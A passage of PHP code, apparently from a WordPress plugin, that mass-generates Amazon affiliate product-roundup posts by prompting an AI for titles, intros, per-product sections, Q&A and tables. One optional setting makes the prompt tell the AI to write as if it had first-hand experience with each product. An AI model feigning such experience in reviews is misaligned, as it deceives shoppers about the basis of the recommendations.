                                                $generated_text = aiomatic_generate_text($token, $aimodel, $zai_command, $zavailable_tokens, $ztemperature, $ztop_p, $zpresence_penalty, $zfrequency_penalty, false, 'customShortcode', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true);
                                                if($generated_text === false)
                                                {
                                                    aiomatic_log_to_file('Custom shortcode generator error: ' . $aierror);
                                                }
                                                else
                                                {
                                                    $shortval = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                }
                                            }
                                            $amazon_kw = str_replace('%%' . $shortname . '%%', $shortval, $amazon_kw);
                                        }
                                    }
                                } 
                                $amazon_kw = aiomatic_replaceSynergyShortcodes($amazon_kw);
                                $amazon_kw = apply_filters('aiomatic_replace_aicontent_shortcode', $amazon_kw);
                                if(empty($amazon_kw))
                                {
                                    aiomatic_log_to_file('Empty Amazon Keyword Submitted: ' . $amazon_kw);
                                    unset($amazon_keyword_lines[$current_index]);
                                    continue;
                                }
                                if(stristr($max_products, '-') !== false)
                                {
                                    preg_match('/\s*(\d+)\s*-\s*(\d+)\s*/', $max_products, $matches);
                                    if(isset($matches[2]) && $matches[2] != '' && isset($matches[1]) && $matches[1] != '')
                                    {
                                        $rmin = intval($matches[1]);
                                        $rmax = intval($matches[2]);
                                        $max_prod = mt_rand($rmin, $rmax);
                                    }
                                    else
                                    {
                                        $max_prod = $max_products;
                                    }
                                }
                                else
                                {
                                    $max_prod = $max_products;
                                }
                                $max_prod = intval($max_prod);
            					$amazresult = aiomatic_amazon_get_post($amazon_kw, trim($affiliate_id), $target_country, $min_price, $max_price, $sort_results, $max_prod, '1', array());
                                if(is_array($amazresult) && isset($amazresult['status']) && $amazresult['status'] == 'nothing')
                                {
                                    aiomatic_log_to_file('No results found for keyword search: ' . $amazon_kw);
                                    unset($amazon_keyword_lines[$current_index]);
                                    continue;
                                }
                                if(!is_array($amazresult))
                                {
                                    aiomatic_log_to_file('Empty response from Amazon: ' . $amazon_kw);
                                    unset($amazon_keyword_lines[$current_index]);
                                    continue;
                                }
                                if(is_array($amazresult) && count($amazresult) == 0)
                                {
                                    aiomatic_log_to_file('Empty results found for keyword search: ' . $amazon_kw);
                                    unset($amazon_keyword_lines[$current_index]);
                                    continue;
                                }
                                if($shuffle_products == '1')
                                {
                                    shuffle($amazresult);
                                }
                                $product_titles = '';
                                foreach($amazresult as $amr)
                                {
                                    $product_titles .= '"' . $amr->offer_title . '",';
                                }
                                $product_titles = rtrim($product_titles, ',');
                                $post_title = '';
                                $amazon_thumb = $amazresult[array_rand($amazresult)]->product_img;
                                $product_title = '';
                                $product_reviews = '';
                                $aff_url = '';
                                $product_author = '';
                                $product_brand = '';
                                $product_isbn = '';
                                $product_upc = '';
                                $offer_price = '';
                                $product_price = '';
                                $product_list_price = '';
                                $price_numeric = '';
                                $price_currency = '';
                                $product_asin = '';
                                $cart_url = '';
                                $list_price_numeric = '';
                                $product_imgs = '';
                                //new
                                $item_score = '';
                                $edition = '';
                                $language = '';
                                $pages_count = '';
                                $publication_date = '';
                                $contributors = '';
                                $manufacturer = '';
                                $binding = '';
                                $product_group = '';
                                $rating = '';
                                $eans = '';
                                $part_no = '';
                                $model = '';
                                $warranty = '';
                                $color = '';
                                $is_adult = '';
                                $dimensions = '';
                                $date = '';
                                $size = '';
                                $unit_count = '';
            
                                if($title_prompt != '')
                                {
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $title_prompt_arr = preg_split('/\r\n|\r|\n/', $title_prompt);
                                        $my_title_prompt = $title_prompt_arr[array_rand($title_prompt_arr)];
                                    }
                                    else
                                    {
                                        $my_title_prompt = $title_prompt;
                                    }
                                    $zatitle_prompt = aiomatic_replace_amazon($my_title_prompt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                    if(stristr($run_regex_on, 'title') !== false)
                                    {
                                        if ($strip_by_regex_prompts !== '')
                                        {
                                            $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                            $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                            $xcnt = 0;
                                            foreach($xstrip_by_regex as $sbr)
                                            {
                                                if(isset($xreplace_regex[$xcnt]))
                                                {
                                                    $repreg = $xreplace_regex[$xcnt];
                                                }
                                                else
                                                {
                                                    $repreg = '';
                                                }
                                                $xcnt++;
                                                $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $zatitle_prompt);
                                                if($temp_cont !== NULL)
                                                {
                                                    $zatitle_prompt = $temp_cont;
                                                }
                                            }
                                        }
                                    }
                                    if($zatitle_prompt != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon title'));
                                        $written = aiomatic_write_content($zatitle_prompt, $topic_title_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'title', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate title!');
                                            if($auto == 1)
                                            {
                                                aiomatic_clearFromList($param, $type);
                                            }
                                            return 'fail';
                                        }
                                        else
                                        {
                                            $written = ucfirst(trim(trim(trim(trim($written), '.'), ' “â€â€˜â€™"\'')));
                                            $post_title = $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed title prompt. Nothing to do.');
                                        if($auto == 1)
                                        {
                                            aiomatic_clearFromList($param, $type);
                                        }
                                        return 'fail';
                                    }
                                }
                                if(empty($post_title))
                                {
                                    aiomatic_log_to_file('Failed to automatically generate Amazon product roundup title!');
                                    if($auto == 1)
                                    {
                                        aiomatic_clearFromList($param, $type);
                                    }
                                    return 'fail';
                                }
                                if (strpos($post_title, '%%') === false)
                                {
                                    if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                    {
                                        $xposts = get_posts(
                                            array(
                                                'post_type'              => $post_type,
                                                'title'                  => html_entity_decode($post_title),
                                                'post_status'            => 'all',
                                                'numberposts'            => 1,
                                                'update_post_term_cache' => false,
                                                'update_post_meta_cache' => false,           
                                                'orderby'                => 'post_date ID',
                                                'order'                  => 'ASC',
                                            )
                                        );
                                        if ( ! empty( $xposts ) ) {
                                            $zap = $xposts[0];
                                        } else {
                                            $zap = null;
                                        }
                                        if($zap !== null)
                                        {
                                            if($overwrite_existing)
                                            {
                                                $update_post_id = $zap->ID;
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post with specified title already existing, skipping it: ' . $post_title);
                                                unset($amazon_keyword_lines[$current_index]);
                                                continue;
                                            }
                                        }
                                    }
                                    $new_post_title = $post_title;
                                }
                                else
                                {
                                    $new_post_title = $post_title;
                                    $new_post_title = aiomatic_replaceContentShortcodes($new_post_title, $img_attr, $ai_command);
                                    if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                    {
                                        $xposts = get_posts(
                                            array(
                                                'post_type'              => $post_type,
                                                'title'                  => html_entity_decode($new_post_title),
                                                'post_status'            => 'all',
                                                'numberposts'            => 1,
                                                'update_post_term_cache' => false,
                                                'update_post_meta_cache' => false,           
                                                'orderby'                => 'post_date ID',
                                                'order'                  => 'ASC',
                                            )
                                        );
                                        if ( ! empty( $xposts ) ) {
                                            $zap = $xposts[0];
                                        } else {
                                            $zap = null;
                                        }
                                        if($zap !== null)
                                        {
                                            if($overwrite_existing)
                                            {
                                                $update_post_id = $zap->ID;
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post with specified title already published, skipping it: ' . $new_post_title);
                                                unset($amazon_keyword_lines[$current_index]);
                                                continue;
                                            }
                                        }
                                    }
                                }
                                $current_section = '';
                                $headings_arr_copy = $headings_arr;
                                $added_img_list = array();
                                $raw_img_list = array();
                                $full_result_list = array();
                                $added_vid_list = array();
                                $added_images = 0;
                                $added_videos = 0;
                                $heading_results = array();
                                if(empty($post_title))
                                {
                                    aiomatic_log_to_file('Empty post title submitted, nothing to do!');
                                    continue;
                                }
                                $post_sections = array();
                                foreach($amazresult as $amr)
                                {
                                    $post_sections[] = $amr->offer_title;
                                }
                                $new_post_content = '';
                                if(stristr($run_regex_on, 'intro') !== false)
                                {
                                    if ($strip_by_regex_prompts !== '')
                                    {
                                        $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                        $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                        $xcnt = 0;
                                        foreach($xstrip_by_regex as $sbr)
                                        {
                                            if(isset($xreplace_regex[$xcnt]))
                                            {
                                                $repreg = $xreplace_regex[$xcnt];
                                            }
                                            else
                                            {
                                                $repreg = '';
                                            }
                                            $xcnt++;
                                            $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $intro_prompt);
                                            if($temp_cont !== NULL)
                                            {
                                                $intro_prompt = $temp_cont;
                                            }
                                        }
                                    }
                                }
                                if($intro_prompt != '')
                                {
                                    $my_intro_prompt = $intro_prompt;
                                    $my_intro_prompt = aiomatic_replace_amazon($my_intro_prompt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                    if($my_intro_prompt != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon intro'));
                                        $written = aiomatic_write_content($my_intro_prompt, $topic_intro_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'intro', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate intro for section: ' . $current_section);
                                            continue;
                                        }
                                        else
                                        {
                                            if($new_post_content != '')
                                            {
                                                $new_post_content .= ' ';
                                            }
                                            $new_post_content .= $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed intro prompt. Nothing to do.');
                                    }
                                }
                                if($title_outro != '')
                                {
                                    $my_title_outro = $title_outro;
                                    $my_title_outro = aiomatic_replace_amazon($my_title_outro, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                    $my_title_outro = $spintax->Parse(trim($my_title_outro));
                                }
                                if(!empty($title_toc))
                                {
                                    $my_title_toc = $title_toc;
                                    $my_title_toc = aiomatic_replace_amazon($my_title_toc, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                    $my_title_toc = $spintax->Parse(trim($my_title_toc));
                                }
                                if($title_qa != '')
                                {
                                    $my_title_qa = $title_qa;
                                    $my_title_qa = aiomatic_replace_amazon($my_title_qa, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                    $my_title_qa = $spintax->Parse(trim($my_title_qa));
                                }
                                if($content_prompt != '')
                                { 
                                    $post_sections_arr = $amazresult;
                                    $toc = '';
                                    if($enable_toc == '1')
                                    {
                                        if(!empty($title_toc))
                                        {
                                            if($my_title_toc != '')
                                            {
                                                $toc .= '<h2>' . $my_title_toc . '</h2>';
                                            }
                                        }
                                        $toc .= '<ul class="toc-class">';
                                        foreach($post_sections_arr as $the_current_section)
                                        {
                                            if(!empty($current_section))
                                            {
                                                $toc .= '<li><a href="#' . sanitize_title($the_current_section->offer_title) . '">' . $the_current_section->offer_title . '</a></li>';
                                            }
                                        }
                                        if($title_qa != '')
                                        {
                                            if($my_title_qa != '')
                                            {
                                                if($qa_prompt != '' && $enable_qa == '1')
                                                {
                                                    $toc .= '<li><a href="#qa">' . $my_title_qa . '</a></li>';
                                                }
                                            }
                                        }
                                        if($title_outro != '')
                                        {
                                            if($my_title_outro != '')
                                            {
                                                if($outro_prompt != '')
                                                {
                                                    $toc .= '<li><a href="#outro">' . $my_title_outro . '</a></li>';
                                                }
                                            }
                                        }
                                        $toc .= '</ul>';
                                        $new_post_content .= '<br/>' . $toc . '<br/>';
                                    }
                                    $topic_count = 1;
                                    $last_section_content = '';
                                    foreach($post_sections_arr as $the_current_section)
                                    {
                                        if(trim($affiliate_id) != '')
                                        {
                                            $aff_url = $the_current_section->offer_url;
                                        }
                                        else
                                        {
                                            $aff_url = $the_current_section->source_link;
                                        }
                                        $current_section = trim($the_current_section->offer_title);
                                        $current_section = trim($current_section, '.;');
                                        $product_title = $current_section;
                                        if(empty($current_section))
                                        {
                                            continue;
                                        }
                                        $my_post_content = $content_prompt;
                                        $product_description = $the_current_section->offer_desc;
                                        $product_reviews = implode('<br><br>', $the_current_section->item_reviews);
                                        $product_author = $the_current_section->product_author;
                                        $product_brand = $the_current_section->product_brand;
                                        $product_isbn = $the_current_section->product_isbn;
                                        $product_upc = $the_current_section->product_upc;
                                        $offer_price = $the_current_section->offer_price;
                                        $product_price = $the_current_section->product_price;
                                        $product_list_price = $the_current_section->product_list_price;
                                        $price_numeric = $the_current_section->price_numeric;
                                        $price_currency = $the_current_section->price_currency;
                                        $product_asin = $the_current_section->product_asin;
                                        $cart_url = $the_current_section->cart_url;
                                        $list_price_numeric = $the_current_section->list_price_numeric;
                                        $product_imgs = $the_current_section->product_imgs;
                                        //new
                                        $item_score = $the_current_section->item_score; 
                                        $language = $the_current_section->language; 
                                        $edition = $the_current_section->edition; 
                                        $pages_count = $the_current_section->pages_count; 
                                        $publication_date = $the_current_section->publication_date; 
                                        $contributors = $the_current_section->contributors; 
                                        $manufacturer = $the_current_section->manufacturer; 
                                        $binding = $the_current_section->binding; 
                                        $product_group = $the_current_section->product_group; 
                                        $rating = $the_current_section->rating; 
                                        $eans = $the_current_section->eans; 
                                        $part_no = $the_current_section->part_no; 
                                        $model = $the_current_section->model; 
                                        $warranty = $the_current_section->warranty; 
                                        $color = $the_current_section->color; 
                                        $is_adult = $the_current_section->is_adult; 
                                        $dimensions = $the_current_section->dimensions; 
                                        $date = $the_current_section->date; 
                                        $size = $the_current_section->size; 
                                        $unit_count = $the_current_section->unit_count; 
            
                                        $my_post_content = aiomatic_replace_amazon($my_post_content, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                        $my_post_content = str_replace('%%article_so_far%%', $new_post_content, $my_post_content);
                                        $my_post_content = str_replace('%%last_section_content%%', $last_section_content, $my_post_content);
                                        if(stristr($run_regex_on, 'content') !== false)
                                        {
                                            if ($strip_by_regex_prompts !== '')
                                            {
                                                $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                                $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                                $xcnt = 0;
                                                foreach($xstrip_by_regex as $sbr)
                                                {
                                                    if(isset($xreplace_regex[$xcnt]))
                                                    {
                                                        $repreg = $xreplace_regex[$xcnt];
                                                    }
                                                    else
                                                    {
                                                        $repreg = '';
                                                    }
                                                    $xcnt++;
                                                    $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_post_content);
                                                    if($temp_cont !== NULL)
                                                    {
                                                        $my_post_content = $temp_cont;
                                                    }
                                                }
                                            }
                                        }
                                        if($first_hand == '1')
                                        {
                                            $my_post_content = str_replace('%%first_hand_experience_prompt%%', 'Write as if you had first-hand experience with the product you are describing.', $my_post_content);
                                        }
                                        else
                                        {
                                            $my_post_content = str_replace('%%first_hand_experience_prompt%%', '', $my_post_content);
                                        }
                                        $my_post_content = str_replace('%%product_author%%', $the_current_section->product_author, $my_post_content);
                                        $my_post_content = str_replace('%%product_brand%%', $the_current_section->product_brand, $my_post_content);
                                        $my_post_content = str_replace('%%product_isbn%%', $the_current_section->product_isbn, $my_post_content);
                                        $my_post_content = str_replace('%%product_upc%%', $the_current_section->product_upc, $my_post_content);
                                        $my_post_content = str_replace('%%offer_url%%', $the_current_section->offer_url, $my_post_content);
                                        $my_post_content = str_replace('%%offer_price%%', $the_current_section->offer_price, $my_post_content);
                                        $my_post_content = str_replace('%%product_list_price%%', $the_current_section->product_list_price, $my_post_content);
                                        $my_post_content = str_replace('%%offer_img%%', $the_current_section->offer_img, $my_post_content);
                                        $my_post_content = str_replace('%%price_numeric%%', $the_current_section->price_numeric, $my_post_content);
                                        $my_post_content = str_replace('%%price_currency%%', $the_current_section->price_currency, $my_post_content);
                                        $my_post_content = str_replace('%%review_link%%', $the_current_section->review_link, $my_post_content);
                                        $my_post_content = str_replace('%%product_asin%%', $the_current_section->product_asin, $my_post_content);
                                        $my_post_content = str_replace('%%cart_url%%', $the_current_section->cart_url, $my_post_content);
                                        $my_post_content = str_replace('%%list_price_numeric%%', $the_current_section->list_price_numeric, $my_post_content);
                                        $my_post_content = str_replace('%%product_imgs%%', $the_current_section->product_imgs, $my_post_content);
                                        $my_post_content = str_replace('%%product_imgs_html%%', $the_current_section->product_imgs_html, $my_post_content);
                                        $my_post_content = str_replace('%%price_with_discount_fixed%%', $the_current_section->price_with_discount_fixed, $my_post_content);
                                        if($my_post_content != '')
                                        {
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon topic content #' . $topic_count));
                                            $topic_count++;
                                            $written = aiomatic_write_content($my_post_content, $topic_content_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'content', 'user', $assistant_id, $thread_id);
                                            if($written === false)
                                            {
                                                aiomatic_log_to_file('Failed to generate content for section: ' . $current_section);
                                                continue;
                                            }
                                            else
                                            {
                                                $written = str_ireplace($current_section, '', $written);
                                                preg_match_all('#\d+\.\s*([\s\S]*)#', $current_section, $mxatches);
                                                if(isset($mxatches[1][0]))
                                                {
                                                    $written = str_ireplace(trim($mxatches[1][0]), '', $written);
                                                    $written = str_ireplace(str_replace(['"', '\''], '', $mxatches[1][0]), '', $written);
                                                }
                                                $written = str_ireplace('<h2></h2>', '', $written);
                                                $written = str_ireplace('<h3></h3>', '', $written);
                                                $link_to_source = $current_section;
                                                if($no_headlink != '1')
                                                {
                                                    $link_to_source = '<a target="_blank" rel="nofollow sponsored noopener" href="' . $aff_url . '">' . $current_section . '</a>';
                                                }
                                                if($sections_role == 'h2')
                                                {
                                                    $new_post_content .= '<h2 id="' . sanitize_title($current_section) . '">' . $link_to_source . '</h2>';
                                                }
                                                elseif($sections_role == 'h3')
                                                {
                                                    $new_post_content .= '<h3 id="' . sanitize_title($current_section) . '">' . $link_to_source . '</h3>';
                                                }
                                                elseif($sections_role == 'b')
                                                {
                                                    $new_post_content .= '<b id="' . sanitize_title($current_section) . '">' . $link_to_source . '</b>';
                                                }
                                                elseif($sections_role == 'i')
                                                {
                                                    $new_post_content .= '<i id="' . sanitize_title($current_section) . '">' . $link_to_source . '</i>';
                                                }
                                                elseif($sections_role == 'bi')
                                                {
                                                    $new_post_content .= '<b><i id="' . sanitize_title($current_section) . '">' . $link_to_source . '</i></b>';
                                                }
                                                elseif($sections_role == 'p')
                                                {
                                                    $new_post_content .= '<p id="' . sanitize_title($current_section) . '">' . $link_to_source . '</p>';
                                                }
                                                elseif($sections_role == 'x')
                                                {
                                                    $new_post_content .= '<br/><span id="' . sanitize_title($current_section) . '">' . $link_to_source . '</span><br/>';
                                                }
                                                else
                                                {
                                                    $new_post_content .= '<br/>' . $link_to_source . '<br/>';
                                                }
                                                if($topic_images == '1')
                                                {
                                                    $show_url = $the_current_section->product_img;
                                                    if(isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled')
                                                    {
                                                        $localpath = aiomatic_copy_image_locally($show_url);
                                                        if($localpath !== false)
                                                        {
                                                            $show_url = $localpath[0];
                                                        }
                                                    }
                                                    $new_post_content .= '<br/><img class="rimage_class" src="' . $show_url . '" alt="' . esc_attr($post_title) . '"><br/>';
                                                    $added_img_list[] = $show_url;
                                                    $added_images++;
                                                }
                                                $last_section_content = $written;
                                                $new_post_content .= $written;
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty processed content prompt. Nothing to do.');
                                        }
                                    }
                                }
                                if($enable_qa == '1')
                                {
                                    if($qa_prompt != '')
                                    {
                                        $my_qa_prompt = $qa_prompt;
                                        $my_qa_prompt = aiomatic_replace_amazon($my_qa_prompt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                        if(stristr($run_regex_on, 'qa') !== false)
                                        {
                                            if ($strip_by_regex_prompts !== '')
                                            {
                                                $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                                $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                                $xcnt = 0;
                                                foreach($xstrip_by_regex as $sbr)
                                                {
                                                    if(isset($xreplace_regex[$xcnt]))
                                                    {
                                                        $repreg = $xreplace_regex[$xcnt];
                                                    }
                                                    else
                                                    {
                                                        $repreg = '';
                                                    }
                                                    $xcnt++;
                                                    $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_qa_prompt);
                                                    if($temp_cont !== NULL)
                                                    {
                                                        $my_qa_prompt = $temp_cont;
                                                    }
                                                }
                                            }
                                        }
                                        if($my_qa_prompt != '')
                                        {
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon qa'));
                                            $written = aiomatic_write_content($my_qa_prompt, $topic_qa_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'qa', 'user', $assistant_id, $thread_id);
                                            if($written === false)
                                            {
                                                aiomatic_log_to_file('Failed to generate Q&A for topic: ' . $my_qa_prompt);
                                                continue;
                                            }
                                            else
                                            {
                                                if($new_post_content != '')
                                                {
                                                    $new_post_content .= ' ';
                                                }
                                                if($my_title_qa !== '')
                                                {
                                                    if($sections_role == 'h2')
                                                    {
                                                        $new_post_content .= '<h2 id="qa">' . $my_title_qa . '</h2>';
                                                    }
                                                    elseif($sections_role == 'h3')
                                                    {
                                                        $new_post_content .= '<h3 id="qa">' . $my_title_qa . '</h3>';
                                                    }
                                                    elseif($sections_role == 'b')
                                                    {
                                                        $new_post_content .= '<b id="qa">' . $my_title_qa . '</b>';
                                                    }
                                                    elseif($sections_role == 'i')
                                                    {
                                                        $new_post_content .= '<i id="qa">' . $my_title_qa . '</i>';
                                                    }
                                                    elseif($sections_role == 'bi')
                                                    {
                                                        $new_post_content .= '<b><i id="qa">' . $my_title_qa . '</i></b>';
                                                    }
                                                    elseif($sections_role == 'p')
                                                    {
                                                        $new_post_content .= '<p id="qa">' . $my_title_qa . '</p>';
                                                    }
                                                    elseif($sections_role == 'x')
                                                    {
                                                        $new_post_content .= '<br/><span id="qa">' . $my_title_qa . '</span><br/>';
                                                    }
                                                    else
                                                    {
                                                        $new_post_content .= '<br/>' . $my_title_qa . '<br/>';
                                                    }
                                                }
                                                $new_post_content .= $written;
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty processed Q&A prompt. Nothing to do.');
                                        }
                                    }
                                }
                                if($enable_table == '1')
                                {
                                    if($table_prompt != '')
                                    {
                                        $my_table_prompt = $table_prompt;
                                        $my_table_prompt = aiomatic_replace_amazon($my_table_prompt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                        if(stristr($run_regex_on, 'table') !== false)
                                        {
                                            if ($strip_by_regex_prompts !== '')
                                            {
                                                $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                                $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                                $xcnt = 0;
                                                foreach($xstrip_by_regex as $sbr)
                                                {
                                                    if(isset($xreplace_regex[$xcnt]))
                                                    {
                                                        $repreg = $xreplace_regex[$xcnt];
                                                    }
                                                    else
                                                    {
                                                        $repreg = '';
                                                    }
                                                    $xcnt++;
                                                    $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_table_prompt);
                                                    if($temp_cont !== NULL)
                                                    {
                                                        $my_table_prompt = $temp_cont;
                                                    }
                                                }
                                            }
                                        }
                                        if($my_table_prompt != '')
                                        {
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon table'));
                                            $written = aiomatic_write_content($my_table_prompt, $topic_table_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'qa', 'user', $assistant_id, $thread_id);
                                            if($written === false)
                                            {
                                                aiomatic_log_to_file('Failed to generate Comparison Table for topic: ' . $my_table_prompt);
                                                continue;
                                            }
                                            else
                                            {
                                                if($new_post_content != '')
                                                {
                                                    $new_post_content .= ' ';
                                                }
                                                $new_post_content .= $written;
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty processed Comparison Table prompt. Nothing to do.');
                                        }
                                    }
                                }
                                if($outro_prompt != '')
                                {
                                    $my_outro_prompt = $outro_prompt;
